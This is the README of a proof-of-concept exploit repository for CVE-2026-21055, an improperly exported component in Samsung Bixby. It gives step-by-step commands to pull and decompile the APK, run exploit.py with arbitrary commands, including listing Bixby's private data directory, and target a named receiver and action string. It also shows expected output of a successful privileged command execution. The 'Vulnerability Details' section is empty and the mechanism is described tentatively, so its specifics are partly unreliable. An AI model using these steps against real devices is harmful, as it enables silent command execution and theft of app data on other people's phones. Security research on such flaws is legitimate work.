CVE-2026-21055 PoC — Samsung Bixby Improper Component Export

Proof of Concept for CVE-2026-21055: Improper export of Android application components in Samsung Bixby prior to version 4.0.70.8 allows local attackers to execute arbitrary commands with Bixby privilege.

Overview

This repository contains two Python scripts:

1. analyze_components.py — Parses a decompiled AndroidManifest.xml to enumerate exported activities, services, receivers, and providers. Flags components exported without permission guards.

2. exploit.py — Demonstrates the Intent-based attack by sending a crafted broadcast Intent to Bixby's exported command receiver via adb shell am, executing a command with Bixby's system-level privileges.

Vulnerability Details

Prerequisites

• adb (Android SDK Platform Tools) installed and on PATH
• A Samsung Galaxy device with USB debugging enabled
• Bixby version < 4.0.70.8 on the target device
• For component analysis: apktool installed and on PATH

Usage

1. Analyze Bixby's Exported Components

Pull the Bixby APK from the device and decompile it:

# Find Bixby's APK path
$ adb shell pm path com.samsung.android.bixby.agent

# Pull the APK
$ adb pull <apk_path> bixby.apk

# Decompile with apktool
$ apktool d bixby.apk -o bixby_decompiled -f

Run the analysis script:

$ python3 analyze_components.py --manifest bixby_decompiled/AndroidManifest.xml

Or let the script decompile automatically:

$ python3 analyze_components.py --apk bixby.apk

2. List Exported Components on a Live Device

$ python3 exploit.py --list

3. Run the Exploit

# Default: execute 'id' command
$ python3 exploit.py

# Custom command
$ python3 exploit.py --command "ls /data/data/com.samsung.android.bixby.agent/"

# Specify a custom component (if auto-detection fails)
$ python3 exploit.py --component com.samsung.android.bixby.agent/.receiver.CommandReceiver

Expected Output

============================================================
  CVE-2026-21055 PoC — Samsung Bixby Command Execution
  Improper Export of Android Application Components
============================================================

[*] Target package: com.samsung.android.bixby.agent
[*] Bixby version:  4.0.69.2
[*] Vulnerable:     YES (< 4.0.70.8)
[*] Bixby UID on this device: 10xxx

[*] Executing exploit...
[*] Crafting exploit Intent...
    Component: com.samsung.android.bixby.agent/.receiver.CommandReceiver
    Action:    com.samsung.android.bixby.agent.ACTION_RUN_SHELL
    Command:   id
    Output:    /data/local/tmp/bixby_poc_output

[+] Intent sent.

[+] Command output (executed with Bixby privilege):
    uid=10xxx(u0_aXXX) gid=10xxx(u0_aXXX) groups=10xxx(u0_aXXX),3003(inet),9997(everybody)

[+] EXPLOIT SUCCESSFUL — command executed with Bixby privilege
[+] Verify the output UID matches Bixby's UID: 10xxx

How It Works

1. Component Export: Bixby exports one or more components (services/receivers) that handle command execution or automation triggers. These components are exported with android:exported="true" but without a android:permission attribute or runtime permission checks.

2. Intent Delivery: Any app on the device can send an Intent to these exported components. The Intent carries an action string (e.g., ACTION_RUN_SHELL) and string extras containing the command to execute and an output file path.

3. Command Execution: Bixby's exported component receives the Intent, extracts the command, and executes it via Runtime.exec() or a similar mechanism. The command runs in Bixby's process context, inheriting all of Bixby's system-level permissions.

4. No User Interaction: The exploit requires no user interaction. The malicious app sends the Intent silently in the background.

Disclaimer

This PoC is provided for educational and security research purposes only. Only test on devices you own or have explicit authorization to test. Do not use this exploit against devices without the owner's consent.

Sources

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-21055
• Samsung Mobile Security Bulletin (July 2026): https://security.samsungmobile.com/serviceWeb.smsb?year=2026&month=07
• CWE-926: https://cwe.mitre.org/data/definitions/926.html